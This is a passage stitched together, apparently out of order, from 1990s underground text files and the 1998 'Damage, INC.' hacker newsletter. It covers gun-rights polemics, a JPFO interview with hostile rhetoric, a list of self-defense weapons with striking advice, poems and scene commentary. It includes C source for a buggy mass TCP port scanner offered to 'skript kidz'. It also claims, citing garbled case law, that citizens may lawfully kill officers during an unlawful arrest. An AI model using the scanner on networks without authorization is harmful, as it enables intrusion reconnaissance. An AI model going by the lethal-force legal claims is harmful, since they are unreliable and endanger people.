to be or may be +prescribed." + +Translation: The Minister of Justice, acting alone, with minimal oversight +by his fellow Cabinet members and without reference to Parliament, can make +Orders in Council with force of criminal law -- Orders in Council that +"prescribe" many, many things, and that become valid criminal law as they +come into force. An Order in Council made under this authority does not +have to be "placed before each House of Parliament" for examination before +it comes into force. Huge lawmaking power is taken away from Parliament by +this section, and given to a single Minister. + +"117.15(2) In making regulations, the Governor in Council may not prescribe +any thing to be a prohibited firearm, a restricted firearm, a prohibited +weapon, a restricted weapon, a prohibited device, or prohibited ammunition +if, IN THE OPINION OF THE GOVERNOR IN COUNCIL, the thing to be prescribed is +reasonable for use in Canada for hunting or sporting purposes. [Emphasis +added -- DAT]" + +Translation: The key to understanding this paragraph lies in the words, "IN +THE OPINION OF THE GOVERNOR IN COUNCIL." The House and Senate Committees +both recommended deleting those words before C-68 was passed, but our +Liberal government refused to delete them. + +If they had been deleted, as recommended, then any attempt to outlaw, say, +all .22 biathlon rifles, muzzle-loading shotguns and/or .30-30 Winchester +hunting cartridges could be taken before a court, and the court could rule +that such things are "reasonable for use in Canada for hunting or sporting +purposes." The Order in Council would then be voided by the court. There +would have been access to justice, fairness and a thoughtful second look at +bad law. + +Because they were NOT taken out, and are still there, no court can even look +at any such Order in Council -- because A COURT CANNOT SUBSTITUTE ITS OWN +OPINION FOR THE OPINION SPECIFIED IN THE LEGISLATION. Those words, in that +place, mean that NO ONE's opinion is of any interest or has any power -- +unless that person is the Minister of Justice (thinly disguised as the +"Governor in Council"). He is given the power of a dictator, not subject to +any review or to any second opinion, body or method that can be used to +override his "opinion." + +By including those words, the Liberal Party government gave every Minister +of Justice -- NOT just today's, but every Minister of Justice who will ever +hold that position -- the power to outlaw every firearm, cartridge, +propellant, primer, reloading device, firearms accessory, spare part, etc., +etc., in Canada. It BLOCKED any appeal to the courts against ANYTHING that +the Minister may do in the future regarding Orders in Council outlawing +anything. + +That is too much power to place in the hands of any one person. It is far +too much power to place in the hands of EVERY person who will ever hold the +office of Minister of Justice. + +David A Tomlinson, +National President, +National Firearms Association + +FOCUS: Is THIS the type of government we want? No? Then get out there and +persuade as many voters as you can that they should help us throw the +Liberal Party onto the scrapheap of history -- beside its clone, the +Conservative Party. + +------------------------------------------------------------------------------- + +From the Radio Free Michigan archives + +ftp://141.209.3.26/pub/patriot + +If you have any other files you'd like to contribute, e-mail them to +bj496@Cleveland.Freenet.Edu. +------------------------------------------------ + +YOUR RIGHT OF SELF-DEFENSE + +"Citizens may resist UNLAWFUL arrest to the point of taking an arresting +officer's life if necessary." PLUMMER V. STATE, 136 Ind. 306. This +premise was upheld by the SUPREME COURT of the United States in the +case: JOHN BAD ELK V. U.S., 177 U.S. 529. The Court stated: "Where +the officer is killed in the course of the disorder which naturally +accompanies an attempted arrest that is resisted, the law looks with +very different eyes upon the transaction, when the officer had the +right to make the arrest, from what it does if the officer had no +right. What may be murder in the first case might be nothing more +than manslaughter in the other, or the facts might show that no +offense had been committed." + +"An arrest made with a defective warrant, or one issued without +affidavit, or one that fails to allege a crime is within jurisdiction, +and one who is being arrested, may resist arrest and break away. lf the +arresting officer is killed by one who is so resisting, the killing +will be no more than an involuntary manslaughter." HOUSH V. PEOPLE, +75 111. 491; reaffirmed and quoted in State v. Leach, 7 Conn. 452; +State v. Gleason, 32 Kan. 245; Ballard v. State, 43 Ohio 349; +State v Rousseau, 241 P. 2d 447; State v. Spaulding, 34 Minn. 3621. + +"When a person, being without fault, is in a place where he has a right +to be, is violently assaulted, he may, without retreating, repel by +force, and if, in the reasonable exercise of his right of self defense, +his assailant is killed, he is justiciable." RUNYAN v. STATE, 57 Ind. 80; +Miller v. State, 74 Ind. 1. "These principles apply as well to an officer +attempting to make an arrest, who abuses his authority and transcends the +bounds thereof by the use of unnecessary force and violence, as they do +to a private individual who unlawfully uses such force and violence." +JONES v. STATE, 26 Tex. App. I; Beaverts v. State, 4 Tex. App. 1 75; +Skidmore v. State, 43 Tex. 93, 903. + +------------------------------------------------ + +The following are some very interesting insights compiled in the 1940's (I +think), by Dr. Warren Carrol, a refugee from Yugoslavian Communism. These +observations are based Lenin's advacation of Socialism (please note, Communism +is EXACTLY the same when you wade through the B.S.). + +FOURTEEN SIGNPOSTS TO SLAVERY (or Socialism) + +1) Restrictions on taking money out of the country or retention of a foreign +bank account by an American citizen. +2) Abolition of privite ownership of guns. +3) Detention of individuals without judicial process. +4) Requirements that private financial transactions be keyed to social security +numbers or other identification so that government records of these +transactions can be kept by the Government. +5) Use of compulsory education laws to forbid attendance at presently existing +private schools. +6) Compulsory non-military service. +7) Compulsory psychological treatment for non-government workers or public +school children. +8) An official declaration that anti-Socialist,anti-Communist or anti-United +National organizations are subversive and subsequent legal action be taken to +suppress them. +9) Laws limiting the number of people allowed to meet in a private home. +10) Any significant change in passport regulations to make passports more +difficult to obtain or use. +11) Wage and price controls in a non-wartime situation. +12) Any kind of compulsory regulation with the government of where individuals +work. +13) Any attempt to restrict freedom of movement within the country. +14) Any attemt to make a new major law by executive decree (that is, actually +put into effect, not merely authorized as by existing executive orders). + +This is a fairly old document, very seldom found in published form, written by +a very published historian (normally). + +These steps to destroy personal freedom are not in order and don't seem to have +any particular importance, but this is whats required for a few select +individuals to make you and your friends their slaves. + +There is very little you can do as an individual to prevent this from +happening. The only thing you can do is to capture this document and ensure as +many people as possible see it. It has nothing to do with "revolution" or +"overthrowing" the Government. It will remind people of what the "creators" of +our Constitution already knew (and found out the hard way!). + +[Did you know...] "Assault Rifles" are not classified as automatic weapons. +These weapons are clasically used to shoot long distances, many rounds, +without the barrel warping. As a rule, these weapons are used in MILITARY +type confrontations only. + +------------------------------------------------ + +FWIW + +The following excerpt is from an interview conducted by Aaron Zelman in +1990. Mr. Zelman is the founder of Jews for the Preservation of Firearms +Ownership (JPFO / 2872 S. Wentworth Ave. / Milwaukee / WI / 53207 / 414- +769-0760). His subject was Theodore Haas, a former prisoner of the +infamous Dachau concentration camp. + +A Warning: HOLOCAUST SURVIVOR DENOUNCES ANTI-GUN-OWNERSHIP MOVEMENT ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + +(Excerpt) +IF ONLY WE WERE ARMED ++++++++++++++++++++++ + +Q. Did the camp inmates ever bring up the topic, "If only we were armed + before, we would not be here now"? + +A. Many, many times. Before Adolf Hitler came to power, there was a black + market in firearms, but the German people had been so conditioned to be + law abiding, that they would never consider buying an unregistered gun. + The German people really believed that only hoodlums own such guns. + What fools we were. It truly frightens me to see how the government, + media, and some police groups in America are pushing for the same mindset. + In my opinion, the people of America had better start asking and demanding + answers to some hard questions about firearms ownership, especially, if + the government does not trust me to own firearms, why or how can the + people be expected to trust the government? + + There is no doubt in my mind that millions of lives could have been + saved if the people were not "brainwashed" about gun ownership and had + been well armed. Hitler's thugs and goons were not very brave when + confronted by a gun. Gun haters always want to forget the Warsaw Ghetto + uprising, which is a perfect example of how a ragtag, half-starved group + of Jews took up 10 handguns and made asses out of the Nazis. + +Q. Did you have any contacts with the White Rose Society (mostly German + students against Hitler)? Did anyone try to hide you from the Nazis? + +A. I did not, but my local friend, Richard Scholl, had two cousins or nephews + who were members. Both were executed in Munich (I believe) for standing + up for decency and freedom. Not enough people knew about the White Rose + Society. There were many non-Jews who were not anti-Semetic and were + very much opposed to Hitler. + + It was impossible to hide people from the Nazis in Germany - it is so + densely populated and food was rationed. Another point that many people + fail to understand is that in Germany, you had a situation where the + children were reporting to their teachers if their parents listened to + the BBC on the short wave radio, or what they were talking about at home. + If a German was friendly to a Jew, he was warned once. If he failed to + heed the warning, he would disappear and never be heard from again. This + was known as "Operation Night and Fog." + +Q. Do you think American society has enough stability that Jews and other + minorities are safe from severe persecution? + +A. No. I think there is more anti-Semitism in America (some of it caused + by leftist Jewish politicians and organizations who promote gun control + schemes) than there was in Germany. This may stun some people, but not + all Germans hated Jews. My best and devoted friends in Germany were + Christians. + + I perceive America as a very unstable society, due to the social tinkering + of the Kennedy/Metzenbaum-type politicians. When I first came to this + wonderful country after World War II, America was a vibrant, dynamic and + promising society. There really was an American dream, attainable by + those who wanted to work. Now, due to the curse of Liberalism, America + is in a period of moral decline. Even worse, corrupt criminals hold + high political office, and you have police officials who don't give a + damn about the Bill of Rights. They just want to control people, not + protect and serve. When you study history, you see that when a country + becomes an immoral manure heap, as America is rapidly becoming, all + minorities suffer, and ultimately, all the citizens. + +Q. What words of warning would you like to give to young people who will + soon be eligible to vote? + +A. Vote only for politicians who trust the people to own all types of + firearms, and who have a strong pro-Second Amendment voting record. + Anti-gun-ownership politicians are very dangerous to a free society. + Liberty and freedom can only be preserved by an armed citizenry. I + see creeping fascism in America, just as in Germany, a drip at a time; + a law here, a law there, all supposedly passed to protect the public. + Soon you have total enslavement. Too many Americans have forgotten + that tyranny often masquerades as doing good. This IS the technique + the Liberal politicians/Liberal media alliance are using to enslave + America. + +Q. What message do you have for ultra-Liberal organizations and individuals + who want Americans disarmed? + +A. Their ignorance is pitiful - their lives have been too easy. Had they + experienced Dachau, they would have a better idea of how precious freedom + is. These leftists should live in the tradition of America or they should + leave America. These Sarah Brady types must be educated to understand + that because we have an armed citizenry, that a dictatorship has not YET + happened in America. These anti-gun fools are more dangerous to Liberty + than street criminals or foreign spies. + +Q. Some concentration camp survivors are opposed to gun ownership. + What message would you like to share with them? + +A. I would like to say, "You cowards; you gun haters, you don't deserve to + live in America. Go live in the Soviet Union, if you love gun control + so damn much." It was the stupidity of these naive fools that aided + and abetted Hitler's goons and thugs. Anti-gun-ownership Holocaust + survivors insult the memories of all those that needlessly perished for + lack of being able to adequately defend themselves. + +Q. It appears the Liberal left in America is tolerating, and sometimes + espousing anti-Semitism. Why do you think so many Jews still support + the leftist form of Liberalism? + +A. It is for this very reason that I firmly believe that we harbor more + stupid and naive people in our midst, than any other group of people. + It amazes me how Liberal Jews have such short memories that today, + they would be so supportive and involved in setting up the mechanics + of gun control, so that a Holocaust can happen again. All they're doing + is playing into the hands of the very clever communists who are masters + at conning Americans. + +Q. Why did you join JPFO? + +A. I feel every Jew should be armed to the teeth, as should every American. + I joined JPFO because as a group, we can stand up to Liberal Jewish gun + haters and also to Gestapo-minded anti-gun police who want total control + of the people. I wish JPFO was in existence years ago. I believe the + Jewish involvement in gun cintrol would not be anywhere close to what + it is today, but better now than never. + + +SOURCE AND SCRIPTS - {SOURCE} +For all the skript kidz: + +/********************************** + * Domain Scanner v2.0 * + * by HoGs HeaD * + * Fixed up the screwy stuff. * + * (C)1998 HoGs HeaD * + * You may not modify and * + * then redistribute * + * this source. * + *********************************/ + +#include +#include +#include +#include +#include +#include +#include +#include + +void brk(int no){ + printf("^C Interrupt!\n"); + exit(1); +} + +void main(int argc, char **argv) +{ + struct hostent *host; /* init stuff */ + struct sockaddr_in sa; + int net, error; + int port=23, i, done=0; + char *curr_ip, *del, *cm[100]; + int A1, A2, A3, A4; + int B1, B2, B3, B4; + int C1, C2, C3, C4; + printf("\nDomain Scanner v2.0 by HoGs HeaD\nHit any key to end.\n"); + if(argc < 3){ + printf("Usage: domscan ip_begin ip_end port\nwhere ip_start equals the +beginning IP(ie 127.26.26.1)\nand ip_end equals the ending IP(ie 147.26.27.12)\ +nand port is the port to check on\n\n"); + exit(0); + } + + signal(SIGINT, brk); + if(argv[3]==NULL){ + }else{ + port=atoi(argv[3]); + } + + /* Parse in the first Ip.... */ + + curr_ip=argv[1]; + del=(char *)strtok(curr_ip, "."); + A1=atoi(del); + del=(char *)strtok(NULL, "."); + A2=atoi(del); + del=(char *)strtok(NULL, "."); + A3=atoi(del); + del=(char *)strtok(NULL, "."); + A4=atoi(del); + + /* Read in Second Ip... */ + curr_ip = argv[2]; + del=(char *)strtok(curr_ip, "."); + B1=atoi(del); + del=(char *)strtok(NULL, "."); + B2=atoi(del); + del=(char *)strtok(NULL, "."); + B3=atoi(del); + del=(char *)strtok(NULL, "."); + B4=atoi(del); + /* We're finished parsing, now onto the actual scan... */ + C1=A1; + C2=A2; /* SaVe DeM VaLueS! */ + C3=A3; + C4=A4; +for(A4=C4;A4<=B4; A4++){ +for(A3=C3;A3<=B3; A3++){ +for(A2=C2;A2<=C2; A2++){ +for(A1=C1;A1<=B1; A1++){ + sprintf(curr_ip, "%d.%d.%d.%d", A1, A2, A3, A4); /* build the +ip */ + if( ( fork() ) == 0){ /* fork a chi +ld */ + sa.sin_family = AF_INET; + sa.sin_addr.s_addr = inet_addr(curr_ip); + sa.sin_port = htons(port); /* socket is +set and... */ + net = socket(AF_INET, SOCK_STREAM, 0); /* create socket */ + if(net < 2){ + exit(2); + } + alarm(5); /* wait 5 sec +onds until we cancel connection */ + error = connect(net, (struct sockaddr *)&sa, sizeof sa); /* attempt co +nnection */ + + error < 0 ? printf("Error connecting to: %s %s\n", curr_ip, strerror(errno)) : printf("Connection success at: %s\n", curr_ip); + shutdown(net, 2); /* disconne +ct socket */ + exit(0); /* exit chi +ld process */ + } + + } +} +} +} +gets((char *)i); /* Wait for enter to be pressed to exit */ +} + + +THC PHREAK'S TOP TEN LIST - {TOP TEN} +Self-Defense Weapons. + + 1. Guns - Revolvers are too heavy, bulky and difficult to conceal. + 9mm pistols (Glock, Berretta, Smith & Wesson, Browning) are much + better. Use the largest capacity clip that you can get and have + extra clips for your weapon. Use soft point or hollow point ammo. + It has more stopping power to disable the attacker in a hurry and + the bullet won't travel right through their body, possibly injuring + innocent people. Carry your weapon with you in your car so that + you don't get car-jacked. Or, you can holster your sidearm and + have it at the ready at all times. It's also a good idea to keep + a handgun in your house, with a trigger lock installed or in a + safe. The safes that can be opened in the dark (button operated) + are best, since they give you accessibility in an emergency like + a break-in. The other option is to have a shotgun for home + protection. A 12 gauge will suffice, unless you're under attack + by the military, terrorists, the SWAT team, a gang or a group of + heavily armed rogue cops. Then you'll require an assault rifle + and a large supply of ammo. ;) + + 2. Knives - Carrying a small, concealed knife on your person for + personal protection is always a good idea. Don't go overboard + and try to walk around with a machete. ;) Also, switch blades + and butterfly knives aren't the best to use. Get a knife (such + as a buck knife) with a folding handle. It should be 5-6" in + length and have a sturdy blade that won't break easily if used. + Don't buy a cheap knife. Your life could depend on it. + + 3. Stun Guns - They aren't as easy to conceal as knives, but they + are an effective weapon. They can disable an attacker in seconds, + without drawing blood. Buy the most powerful one that you can. + Some of them have 100,000 volts of stunning power. Also, the + better ones can be used as a hand held stun gun and a tazer that + fires up to 10 feet away. If you can find the dual purpose gun + somewhere, they are the best. + + 4. Pepper Spray - A canister can be carried and concealed. It's + an effective weapon, that when sprayed in someone's eyes or + mouth will blind them, cause pain and difficulty breathing etc. + It is also fairly inexpensive and can be purchased in the U.S. + + 5. Mase - It's not as effective as pepper spray, but it has similar + results when used. It's not just for women that are afraid of + being assaulted. It is an alternative to guns and knives. + + 6. Brass Knuckles - They can be carried in your pocket, taken anywhere + and can do quite a bit of damage. Brass knuckles are good for + situations in which you don't want to pull a knife or draw a gun, + such as open/public places like bars, etc. While wearing a pair + of brass knuckles, you can at least stand a chance against a gang + of people. If you're completely outnumbered, then it isn't a + good equalizer. But, if you drop one of them with one punch, the + rest might decide to leave you alone. + + 7. Night Sticks - They are also called Billy Sticks, Clubs, Sticks etc. + Cops and Prison Guards use night sticks. You can buy them or steal + one from them. They're available in wood (oak), hard plastic, + graphite etc. Night Sticks are good to have under the front seat + of cars and can also be carried under a coat. However, you have + to practice using them and become skilled with this weapon. + Otherwise, it can be taken from you and used against you. + + 8. NunChucks - You can make your own by attaching a chain to two + equal length dowels of hardwood. The ends should fit into your + hand and be comfortable. The diameter of each end shouldn't be + too large to grasp. Or, you can just buy a pair. This weapon + requires a lot of practice to become skilled at using. It's not + easily concealed either. + + 9. Key Chains - You can purchase key chains that have a small iron + bar attached. These little devices are weapons that can be + carried anywhere without anyone ever noticing what it is. To use + them, you hit the attacker in the throat, eye or on the side of + their head (preferably the temple) with the tip of it. Since the + force is concentrated in a small area and it's a hard object, an + amazing amount of damage can be done by it. However, it relies + on a perfect swing and punch to be effective. + + 10. Bars - A small steel bar that can be carried in your pocket, fits + in your hand (while making a fist) can deliver an added kick to + a punch. You can also use a roll of quarters, that's been taped + shut with masking tape. If you're able to hit the assailant on + the jaw with enough force, then they can be knocked out with a + single punch. + +Note: I don't advocate the use of weapons in fights. Weapons and force should +only be used when necessary. Don't use them unless you're in danger of being +injured and need to defend yourself. If you own a gun, be careful and take +precautions to make sure that it's not taken and used against you or someone +else. Remember, guns don't kill... people do. Also, don't bring guns to school +because that ain't c00l kidz. :) + +Written by THC Phreak ú Damage, INC. (C)opyright 1998. + + +THOUGHTS, POEMS AND CREATIVE WRITING - {WRITING} +"A pathetic zombie race." + +Blood dripping from the sky. +Over and over you hear the hideous cries. +Desperation. + +Covering the ground are bodies in tatters. +Their dreams have been shattered. +Disposable heroes. + +In battle they fought for social evolution. +There wasn't a conclusion or resolution. +No revolution. + +Brave souls with a cause were attacked and decimated. +Their very existence was removed, destroyed and eliminated. +Chaotic evil. + +Big Brother's mind control and ignorant teachings were victorious. +Disinformation, propaganda and lies. For that they are notorious. +Weapons of mass destruction. + +The men did not seek any followers or pity. +Big Brother was their foe. An enemy that defines and lives for infamy. +Dissidents. + +Glory, honor and truth were what they respected. +Those very things were what the vast majority utterly rejected. +Zombies. + +Indifference and ignorance ruled. +Again and again the zombies were fooled. +Blindness. + +Their will and independence crushed. +Now Big Brother is all that the zombies trust. +Overpowered. + +Individuality and freedom were lost. +Now they were mere puppets...controlled and brainwashed. +No resistance. + +Their rights, choices and chances were now gone. +Afterall, they chose not to fight and Big Brother had won. +Defeated. + +They ignored the warnings. They refused to wage war. +Indeed, the zombies supported and believed Big Brother. Whenever they were +stripped, raped and beaten they went back and asked for more. +Naive. + +Influenced and constantly being manipulated by Big Brother. +Truth and lies were now the same. They couldn't tell one from another. +Puppets. + +Yes, the gullible zombies were influenced by all of the false promises. They +believed the shit and did what they were told. +In the end, they weren't human beings. Their strings could be pulled at will +by Big Brother and they were frequently imprisoned, bought and sold. +Enslaved. + +Life in captivity is what they chose. +Slavery under Big Brother is something they simply could not oppose. +Weak. + +Was this way of life torture to them? Were the zombies upset or enraged? +No, it was Utopia. They actually believed they were living in a gilded cage. +Controlled. + +The land wasn't theirs to own. The decisions weren't theirs to make. +But Big Brother repeatedly assured them that his way was best. He decided +everything for them, for their own sake. +Brainwashed. + +However, the zombies were all satisfied with the way things were. They +were peaceful and content. +Was their happiness real? Or was it artificial... twisted and bent? +Fake. + +To them though, it was real. For they acted on emotion and rejected all logic. +They were disillusioned fools. They just couldn't see that it was wrong, +demented and sick. +Deceived. + +Arm themselves? Pointless. Fight back? Unacceptable and dangerous. +Relinquish civil rights and liberties? Fair. Victimized and controlled? +Socially acceptable and part of going with the flow. +Conformity. + +Their silence was deafening and deadly. +It killed any chance of reform, quickly and effectively. +Self-Sabotage. + +The zombies loved ignorance and always strived to be perfect, willing victims. +Never speak out. Never oppose. Never question. Always support the system. +Mindless. + +They gave in and had betrayed the very people that were fighting for them. +The zombies were alone. On their behalf, there was nobody left to fend. +Helpless. + +Written by Blackie Lawless ú Damage, INC. (C)opyright 1998. + + +CLOSING COMMENTS - {CLOSING} +BLACKENED's Deadly Closing Comments: + +This marks the end of our 'one year anniversary edition/issue' of the +Damage, INC. Newsletter. To say the least, it's been a unique experience. +However, it has also been an enjoyable one. Over the last year, we've +undergone many changes. By looking back at the first issue, I can definitely +notice the progress that we've made. Also, the group itself has changed in +the last twelve months. I believe the changes made have been for the benefit +of the group and the readers of our releases. I can honestly say that the +whole experience has humbled me. Although, it hasn't slowed me down, tamed me +or dulled the sharp edges in my character that I cherish. I still possess +the same desire to move forward, continue to share information and my thoughts +with others. That's something that I don't think will ever change. My quest +to educate and inform is neverending. Even though the goals and direction of +Damage, INC. are constantly evolving and progressing, I don't think that my +own state of mind has been drastically altered or affected... Sure, my writing +has improved somewhat and my 'message' is being sent out across the vast +expanse of this wired world now. But my reasons for writing articles haven't +changed, nor have my opinions, beliefs and views. I feel that it's important +to maintain and reaffirm those things... At the same time, I try to allow room +for growth and change. A person's mind should never be idle. It's what I +like to refer to as "Personal Evolution." You can change without compromising +the beliefs that you hold strongly. It's not easy, but it can be done. + +As for this issue, it's one of the best that we've released in my opinion. It +is very theme oriented and contains many thought provoking, interesting and +informative articles. In fact, it's the type of issue that I wanted to strive +for since the very beginning. No previous issues of the Damage, INC. Newsletter +were even close to this issue in relation to establishing and developing a +particular theme. In this issue, the theme is evident and strong throughout. +I'm not sure that we can duplicate the level that's been achieved again in +future issues. However, we'll make an honest attempt. ;) The only real +disappointment is the lack of letters and articles submitted by readers that +continues to exist. We'd like our avid readers to participate more in the +process, ask questions, make comments etc. In other words, don't remain +silent when you have something to say. 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Newsletter freely to quality +h/p boards only. + + Copyright 1998 by Damage, INC. + All Rights Reserved. +_______________________________________________________________________________ + + +INTRODUCTION: Wait a second... Shouldn't that quote be "Ignorance is bliss"? + Was there some sort of mistake made? No, there wasn't. You + read the quote correctly. Living in ignorance is definitely + *not* bliss. To be ignorant is to be unaware and lack knowledge. + To be an ignorant person is to be an ignoramus. And ignorance + is defined as being a lack of knowledge. Yes, to an extent we + all are ignorant. That is, we aren't all knowing beings and we + are all guilty of ignoring the truth at times. But, we don't + have to remain ignorant. We don't have to be idiots and fools. + We can strive to learn, gain knowledge and become enlightened in + areas that we had previously been ignorant about. Ignorant or + informed. It is still our choice to make. + + Ignorance is a disease, capable of spreading like a plague. + It drives fears and preys upon the weak minded. It's not + easily contained, nor is it always easy to detect. It can be + used as a weapon to make scapegoats out of people, groups and + start witchhunts. Ignorance is a destructive force that grows + exponentially. That is, ignorance has the ability to breed + more ignorance. It builds upon itself, becoming larger and + stronger. The problem of ignorance is an old one, and a vast + one that spans all human divisions. As in, all nations, races + and cultures have ignorance... and always have. + + Although I've heard the saying "Ignorance is bliss" used many + times, I have never believed it to be truth. It simply cannot + be, since it defies all logic. Fairly recently, I was surprised + when someone that I know used that very saying in a relatively + serious discussion. I had previously thought that the person + was intelligent and somewhat enlightened. But, by saying that, + he disproved the latter. At least in my opinion, you can't be + ignorant *and* enlightened. The two simply cannot co-exist. + So, I admit, my view of that person drastically changed after + they made that one particular statement. It might seem like a + small, rather insignificant thing... that shouldn't change + someone's opinion of another person. However, in truth, it did + just that. I simply couldn't ignore or forget about them using + those words... in the context that they were used and I kept + thinking that if that's their belief, then they must want to + remain ignorant. Meaning, if they support ignorance in that they + believe it's a good way to live, then they must be against + knowledge. And if that's true, then they can be classified as an + ignorant person that's anti-knowledge, which is obviously + something that I can't respect. Basically, with one stupid, + thoughtless remark they managed to shatter the "mental image" + of them that I had previously held. In an instant, my view of + that person was forever altered. In fact, it would be impossible + for me to think of them and respect them in the same way as + before. Even if I wanted to go back to viewing them as I had + previously, I wouldn't be able to do that. I don't think that + a person is capable of permanently "forgetting" and reversing + things. If that can be done, I don't know how it's accomplished + as that's not how my mind works. For me, memories just aren't + erased and eliminated from ever existing by comments such as + "forget it." Things, at least important ones, cannot be + forgotten at will. It isn't that simple or easy to forget + anything of consequence and importance. If it were, then I'm + sure agencies like the CIA would arm their spies with that + knowledge/technique, to ensure that covert operations couldn't + fail. In other words, if a spy were captured, they could forget + all sensitive information before being interrogated, hypnotized, + and tortured, etc. The human brain just isn't designed to + work that way. Some people claim to have a selective memory, + but that's just an excuse that they use as a crutch. But I've + ranted long enough. The main point is, ignorance is all around + you. Instead of trying to ignore or forget about it, why not + attempt to do something about it? Help stop the ignorance + infestation. Oh yeah. Welcome to the new, improved, better + Damage, INC. Newsletter. ;) + + +ADVISORIES - {ADVISORIES} +The state of the h/p scene: + +First, I'd like to introduce this new section to everyone. The name +"ADVISORIES" might be misleading at first, since it's normally used to notify +people about security flaws, make them aware of possible exploits, bugs, holes, +and general problems with software etc. However, that's not what this section +is limited to. Nor is it just about how to gain root on a particular system or +how to prevent system violations and security breaches. It's more than that. +In essence, there aren't any restrictions of that sort put on the topic. The +advisories are not limited to one particular aspect of computers, such as +security. And we will accept article submissions that advise people about +almost anything that's worthwhile. As long as there's a reason to publish it, +thus advising people about it, send it in. + +Now that I've properly introduced the section to you, I'd like to rant a +little about the h/p scene and its current state. Due to some recent events, +I decided it was time to write an article about this topic... and share some +of my views. + +Somewhere along the line... the pursuit of knowledge and the common practice of +sharing knowledge/information with others was somehow diminished in importance. +That is, in the h/p scene now there are many newbies that are just out to +get exploits, scripts and codes. Their goal isn't to learn... as much as it is +to become "l33t" (or what they think is elite)... call ld for free (using +codes of course)... and use the exploits they download from web sites. Some +of them are lost causes, but the others in that group have just gone in the +wrong direction. Perhaps they could change and actually learn something if +given the proper guidance. It's possible, but it's not easy trying to convince +them that their approach is wrong and won't benefit them in the end. + +As much as I hate to admit it, the BBS h/p scene is dying. Sure, there are +still some quality h/p boards left out there. But, it's blatantly obvious +that it's not what it once was. In fact, it's a mere shadow of its former self. +It definitely isn't what it was like years ago. And that even includes the +established h/p boards that are located in large area codes. Basically, they're +not what I'd deem "thriving" by any means. A lot of their users have migrated +elsewhere or just moved on entirely. As in, they simply 'retired' from the +scene. With them gone, there's not as many users left to discuss things with... +and the quality and quantity of posts continue to degrade over time. It's sad, +but it's true. + +As for busts, they still occur. It's almost rare now to hear of a h/p board +being busted, compared to the late 80s to early 90s. These days, busts are +usually related to internet sites. As in, the cops target a web site that +carried h/p information. They get a search warrant, do a search and seizure +raid to take the server that the site is on... and they take it from there. + +So, where is what's left of the h/p scene then? Well, it's here... there +and everywhere. ;) Actually, that's true to an extent. In a way, it's +somewhat fragmented... for lack of a better term. Obviously, it still exists. +There are still h/p groups, zines, web sites, boards, IRC channels, cons, etc. +So, it's still out there... and not dead yet. It's not really dying either. +And it's not difficult to find. But it is a little divided and unorganized. + +What can/should be done about it? Co-operation and better organization are +two of the keys in my opinion. I believe that groups and individuals in +the scene should work together more. I think that's one way of building +and strengthening the h/p scene. Forget about the wannabes that are out +there in almost every area code... and concentrate on supporting the ones +that are actually doing something productive. There are some quality +h/p groups and zines out there... which can always use contributions from +knowledgable people. Submitting an article that's written about an area of +h/p that you know well is always a good idea... and is beneficial to newbies. +It helps build the scene. Just as, scanning, learning about your local +telco, etc. and then sharing that knowledge with others is helpful to those +that want to learn about the scene in other NPAs. + +In conclusion, the exchange of information is what it's all about. It's also +a quest for knowledge, an odyssey or a journey. It isn't a competition. +So, to those that share the knowledge... and are willing to take the time to +write text files, teach others, etc. you are the people that deserve credit +for your efforts in trying to keep the h/p scene alive. + +Written by BLACKENED ú Damage, INC. (C)opyright 1998. + + +BIG BROTHER BASHING - {BIG BROTHER} +Blue Ribbons and Big Brother: + +I'm sure you've heard of the blue ribbon campaign for free speech on the +internet. And, you've probably seen the blue ribbon banners displayed on +countless web sites. The question is, do they serve a purpose? Are they +any "protection" against Big Brother or are they merely a show of support for +the internet based freedom speach movement? Do they actually discourage or +prevent Big Brother from performing search and seizures on people, confiscating +their equipment... without any evidence of illegal activity, but rather +'investigations' based solely on suspicion? Or does the presence of a blue +ribbon on a site provoke suspicion leading to a raid and confiscation of +servers etc? Are said ribbons really a show of unity, or nothing more than +"the trendy thing" to add to your web site? In other words, do they carry any +meaning... any power... any real substance? Or are they nothing more than +another meaningless graphic that's proudly shown but doesn't actually do +anything? I'll attempt to answer some of the more important questions in this +article... and give my opinions on the relevance of them. I'll also try to +show Big Brother's perspective and explain how they view things such as this. + +First, ribbons aren't new. People have been using them to express their +grief, their support, their distain and objections to policies, etc. for +many years. They've been tacked on trees, car antennas, worn on shirts, +and basically used as a symbol for almost any cause that you can imagine. +In fact, almost every colour in the fucking rainbow has been used already +for something or other. However, I'm not against that. People can do what +they want, and have a right to use them for whatever they believe in. I +support that. But, their overuse is starting to become a little annoying. +Since they're used for almost everything now, people are beginning to +realize that they aren't quite as effective as they thought. The ribbons +are almost like bandaids for problems, instead of solutions. They can be +stuck anywhere, but they don't actually solve anything. Just like a bandaid, +they are an inanimate object. Thus, not much should be expect from them. + +Personally, I feel that they do serve a small purpose if used properly. That +is, if they aren't misused and abused by everyone. As in, it's fine to +use them to show your support for something. But if you truly support +something, then you should try to do more than just using or wearing a ribbon. +And I feel it's no different on the internet. Putting a blue ribbon on a +web site doesn't make you a hero. It doesn't make you a freedom fighter. +Nor does it offer any protection against infringements and violations of +civil rights, in my opinion. It does publicly show what you support, and +does a good job of stating that in one small graphic. ;) Just don't rely +on it for more and expect it to be some type of "deterrent" because Big +Brother isn't afraid of blue ribbons. In fact, it could backfire and do +the exact opposite... by making them suspicious of what materials may be +stored on the server hosting the site. I'm not saying that you should become +paranoid and avoid using them for that reason. Use whatever ribbons you +choose. Hopefully you won't use them to get a false sense of security though. + +As for Big Brother and blue ribbons, they obviously won't stop them from +deciding to perform a search and seizure. Basically, their presence is +just ignored. They don't "fear the ribbon". They don't take its existence +into consideration at all. If they are suspicious, they will raid and +bust you... regardless of what you support and how you show your support +for it. The simple fact is, ribbons don't stop Big Brother. Why would they +when Constitutional rights and freedoms that are supposedly guaranteed to +those living in "free countries" and under the United Nations... are just +ignored without a second thought? It happens all of the time. Think about +how many sites that've gone down... with their servers confiscated. The +rights to freedom of speach and freedom of expression don't mean too much +if you're distributing say... certain h/p material for example on a web site. +Once you're a target, there's not much that can be done to prevent Big Bro +from attacking you and eliminating your rights in one motion. I've seen +it happen, so I know. + +I think that ribbons have become a little too popular and trendy. They're +literally everywhere. It'd be alright, in a perfect world, if they were +only used appropriately, in situations that they were meant for... such +as to show unity or support for free speach. But they're not. I mean, +what the hell are blue ribbons doing on warez sites? Haha. Doesn't that +degrade their meaning? And once their meaning has been lost, it can't be +replaced and brought back again. I don't think they have any real power. +Nor do I think that they're meaningless... yet. They still serve a purpose. +Although it might not always remain the original, intended purpose as +designated during their creation. + +Perhaps someday this will all be a mute 